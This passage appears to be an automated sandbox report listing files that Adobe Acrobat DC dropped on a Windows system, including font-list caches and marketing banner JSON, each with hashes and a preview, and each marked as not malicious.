')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.775162490582081
Encrypted:	false
SSDEEP:	3:kkFklYi/tfllXlE/HT8kZh1NNX8RolJuRdxLlGB9lQRYwpDdt:kKBi/eT887NMa8RdWBwRd
MD5:	14009697DBAB8033A2CF6F729E26BEAB
SHA1:	CB81137D47BFB3CC0F5187BB1160E5B57F5E1EFB
SHA-256:	86387A50680A93138FEDBD0C12B68FF90E0863E88CB1DC320F9B8070DB930308
SHA-512:	4CB7ADBCF198F98B55BE7C4CAC77E9713F2129F0418E99B3D43463890F4987E9E3AA91A37343AD3CB9E472DEB9CCE604EA679327238BFE72E4594E87B1842400
Malicious:	false
Preview:	p...... ...........c..(....................................................... ..........W....j...............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.3220

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.3220

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.365395637491106
Encrypted:	false
SSDEEP:	6:YEQXJ2HXNEnGwmnZiQ0YqQRRGkoAvJM3g98kUwPeUkwRe9:YvXKXNEn2cpQRRMGMbLUkee9
MD5:	90CA29D886F5B3CA3154EA35ED6DF28D
SHA1:	CB0E1536658442A57021E43B83E6B35C9A96BE3C
SHA-256:	783016C0AF0436F36383B7F7EEC99F10D4EBB57DB6FDC4A74605A36D24C3F542
SHA-512:	0961AC499634CD5290C01BBC4F3B2730C6636A380E70FFCE77C53F0ACB42F5B33A968FE559A63495CC52B28668DA69D934A2E545FD6C5747192692BAE074BC25
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"794a9401-470e-48d7-b9de-2b58db64ac55","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736708544232,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.319851757432627
Encrypted:	false
SSDEEP:	6:YEQXJ2HXNEnGwmnZiQ0YqQRRGkoAvJfBoTfXpnrPeUkwRe9:YvXKXNEn2cpQRRMGWTfXcUkee9
MD5:	4E2D0043D0BBAFA88E228673418E1D22
SHA1:	79325F6DAFC2FF3B89B57307AA0851E28F9469EC
SHA-256:	8981F4332C8420B355B7D249773EB2F35FACD74803AA0E808AFAA40DCB8A58B5
SHA-512:	DD8ED40A22BE9C23A3C35C94F54A1B4DC97F0F98C4102E4161E50AFF27B0FA3FB6A9DF825F8C0927EEE5C1F36ED117303CE778F13F7F06F9ABA17BD9D31124B0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"794a9401-470e-48d7-b9de-2b58db64ac55","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736708544232,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.298846792827702
Encrypted:	false
SSDEEP:	6:YEQXJ2HXNEnGwmnZiQ0YqQRRGkoAvJfBD2G6UpnrPeUkwRe9:YvXKXNEn2cpQRRMGR22cUkee9
MD5:	49F5A728B1A0C97BDC64C9F6049E8141
SHA1:	19FDA97FBA4964A4B9765126DBA5FEA7951E6C9C
SHA-256:	23263320F58BCA53DF012CCFA66B6B4561ED58189C1172A369392942E0A1315E
SHA-512:	E35F7E0F0051436F578E2865BC0008FF7E2E9B0969C9619A08D752698C0A737D4622E8C97246695B92B83A7BDBB580D725D9D8B4C59CED8B1A1DF4F82ED27E7D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"794a9401-470e-48d7-b9de-2b58db64ac55","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736708544232,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.345489520213777
Encrypted:	false
SSDEEP:	6:YEQXJ2HXNEnGwmnZiQ0YqQRRGkoAvJfPmwrPeUkwRe9:YvXKXNEn2cpQRRMGH56Ukee9
MD5:	FA0B3F34D889D833B11636E7BCD6954B
SHA1:	2D34666A729A22CDC6914CC92D895B85F09FAFEB
SHA-256:	6A75D4F7BC5DF247B8806A78F4289FADDB06648EBFF36984B0FC501B1C16858C
SHA-512:	56B6BC56386852019516306DC2E45A2D11262631A2215C4B64BF4ADBAEE0C3291A364BFA4B4255BD5ABFE6733A06E84844C4DF52AD26A4202AD605B615DE8D79
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"794a9401-470e-48d7-b9de-2b58db64ac55","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736708544232,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.688369430833197
Encrypted:	false
SSDEEP:	24:Yv6XOnr+3ppLgE9cQx8LennAvzBvkn0RCmK8czOCCSbS:Yvbchgy6SAFv5Ah8cv/W
MD5:	36B966B296B25E6B2CE2D108A9187872
SHA1:	8A458561EC2C3A7D0ACE0C66DAF1FB4E7A9D0ACB
SHA-256:	2253C67EB81D80F294867CE2CCE14E7B11CD70A4EBABCA28EE88EDE5B0B75845
SHA-512:	8A6E3D62C8F824F625E7EC2F83105D22DF3BEE4A7AD76A60A53E3FF30675CB4F508109F7ED6AB5CBBDBB129DEC4E29022274C92DD174527AE7BD69C92F28C71F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"794a9401-470e-48d7-b9de-2b58db64ac55","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736708544232,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.293952461925989
Encrypted:	false
SSDEEP:	6:YEQXJ2HXNEnGwmnZiQ0YqQRRGkoAvJf8dPeUkwRe9:YvXKXNEn2cpQRRMGU8Ukee9
MD5:	3765AF7A1B4382E9A96F84963D72CD7F
SHA1:	B7D2A19FD8B10BAB4EE56E49107C0BB4A0A0F990
SHA-256:	7A6743FEE9EF9E3B2029A5A71EA41D77B0B46A7557B29334701D7146EA741A2C
SHA-512:	17C545647B4EC8518E2A4A52B184C953D7F3208806C8031F41A878BEBC700875982F9F1F2A86D8231A9CA7798B330349467DE635ECFDF6BCD682F1CCC5318598
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"794a9401-470e-48d7-b9de-2b58db64ac55","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736708544232,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.296666846309304
Encrypted:	false
SSDEEP:	6:YEQXJ2HXNEnGwmnZiQ0YqQRRGkoAvJfQ1rPeUkwRe9:YvXKXNEn2cpQRRMGY16Ukee9
MD5:	204B2B1C7C7EB5385B84C76EB38DCB53
SHA1:	F4912AF29B24BDF31799EA7E06C4D966A0D72237
SHA-256:	319E0C77EA0FF8607AA240B0486D422AA7B3028152F7355EFE958FE0A26FD089
SHA-512:	4F8D659D231019C7020A709440A57CB8A374C19A8B479C93C30161F327CAAE3FDD5226DBB009752BA6AB3CC1D2F53D7D171CD0EAFCA7DF8D24F0E1D4D7E74A28
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"794a9401-470e-48d7-b9de-2b58db64ac55","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736708544232,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.303101063456984
Encrypted:	false
SSDEEP:	6:YEQXJ2HXNEnGwmnZiQ0YqQRRGkoAvJfFldPeUkwRe9:YvXKXNEn2cpQRRMGz8Ukee9
MD5:	2676A90AA10E07FFE6EE566015CE270A
SHA1:	E7C2C07D368CC3E3ABB70CB7B10325C2942639DA
SHA-256:	77326A1C199DEA16651CF415BB35A79AB479AB022B9A40880B9C1072A8F1F29A
SHA-512:	3DB0AA093658AEAB09F77DF2CE48541A8369B54454BF8DBA1A8AF180F7CA744079CD96932980E8CEFFF5F394A31DABE4E149FE196B1AC00ABCD943F2D89E6AE3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"794a9401-470e-48d7-b9de-2b58db64ac55","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736708544232,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.320262162044499
Encrypted:	false
SSDEEP:	6:YEQXJ2HXNEnGwmnZiQ0YqQRRGkoAvJfzdPeUkwRe9:YvXKXNEn2cpQRRMGb8Ukee9
MD5:	D4CAA5CA396D5C88649B9B41986A739F
SHA1:	B35855A883A5BD6E6894ED0F07C69CC9D003161B
SHA-256:	A1DB31635D16A3ED873B280F00ED165D3B5A417FE6C23C3DCC487A300C244DD4
SHA-512:	E8D464BAB223FE5394E3D32F3ABADCF9A5D5EAFB7DDBDA6884CD5BEA78F5DC99BC63A3F95A6DD8F0B897D5B7CBD341222864D251F1D1D5A829CE461727DF3802
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"794a9401-470e-48d7-b9de-2b58db64ac55","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736708544232,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.30092455965125
Encrypted:	false
SSDEEP:	6:YEQXJ2HXNEnGwmnZiQ0YqQRRGkoAvJfYdPeUkwRe9:YvXKXNEn2cpQRRMGg8Ukee9
MD5:	9B8D71CF18A8CBF6D1B2C12B58624FA6
SHA1:	24B06B006D29823F21093A359143442710873D23
SHA-256:	57B0202F33B965045750C94ACBDFD544E218595821CE734DC8109741BAF786E0
SHA-512:	189122E44D791451DBBD1406351C526EAC933C206199E40F48C285AD81FA06AA0431BAD2509896D6067DDE95CC373CFD34C3F2CBFE4C688B039BE930A8411201
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"794a9401-470e-48d7-b9de-2b58db64ac55","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736708544232,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.287290200860413
Encrypted:	false
SSDEEP:	6:YEQXJ2HXNEnGwmnZiQ0YqQRRGkoAvJf+dPeUkwRe9:YvXKXNEn2cpQRRMG28Ukee9
MD5:	8E1397A1BECB66B08BDCFB828B1F822D
SHA1:	5AD0B41F76DB626A0CCE2088DD554387CA2863D4
SHA-256:	50E6512B1EEABA7B557DFD4CD057506BFC1B3339B44B74F03054356A3CAD6D5E
SHA-512:	6B01002FD573EE33E0A31A9580846C4D3EB52173F6EEE72C84E23BC51D3B09873D5F578788D126CA8B9D5F2807143CAE66A2A537EC4316BF8C08C93C06ECA319
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"794a9401-470e-48d7-b9de-2b58db64ac55","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736708544232,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.284465302963249
Encrypted:	false
SSDEEP:	6:YEQXJ2HXNEnGwmnZiQ0YqQRRGkoAvJfbPtdPeUkwRe9:YvXKXNEn2cpQRRMGDV8Ukee9
MD5:	133E71A470571E60EF3783F1A1DC4250
SHA1:	004D0E1C50EB2FE4C2D43579EFAAAE5C7337811F
SHA-256:	8085B8CB2AAE22B47EDA6829F7F3561A109BCEF14C0CE47308FDF99E95543AAE
SHA-512:	98E29382A2A1C032B93442105DB915DF93AC4F256682DA19BAE1A624BAFBC91D8272CB427D61F9B0350DA29FD616A41611728775B92E7A2C2259248C622AC6A1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"794a9401-470e-48d7-b9de-2b58db64ac55","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736708544232,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.287859420563088
Encrypted:	false
SSDEEP:	6:YEQXJ2HXNEnGwmnZiQ0YqQRRGkoAvJf21rPeUkwRe9:YvXKXNEn2cpQRRMG+16Ukee9
MD5:	08381812E144D0968338F7F7887DC6CB
SHA1:	3C7DBFD7842CED7A760682ABEBDB85A394ED3837
SHA-256:	4714614AA6348411270F39B90DFA54B7A0F74286B1659BE4973143CDCAF58C58
SHA-512:	EAB5A2AD808B65813F397C6456FF0A9FC76231FD6B4BE6AF1211FB90515B6207364D089A0F0FC10660816A57A427C511BAED6E48FDC2E87C598FA0D5B126FE43
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"794a9401-470e-48d7-b9de-2b58db64ac55","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736708544232,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.664358265573516
Encrypted:	false
SSDEEP:	24:Yv6XOnr+3ZamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSbS:YvbuBgkDMUJUAh8cvMW
MD5:	7EF37B5AAFF422F0E697A3F4B794A2E6
SHA1:	25B3E92E4A52E65EE1D8F28BB706B8C08FDBAECF
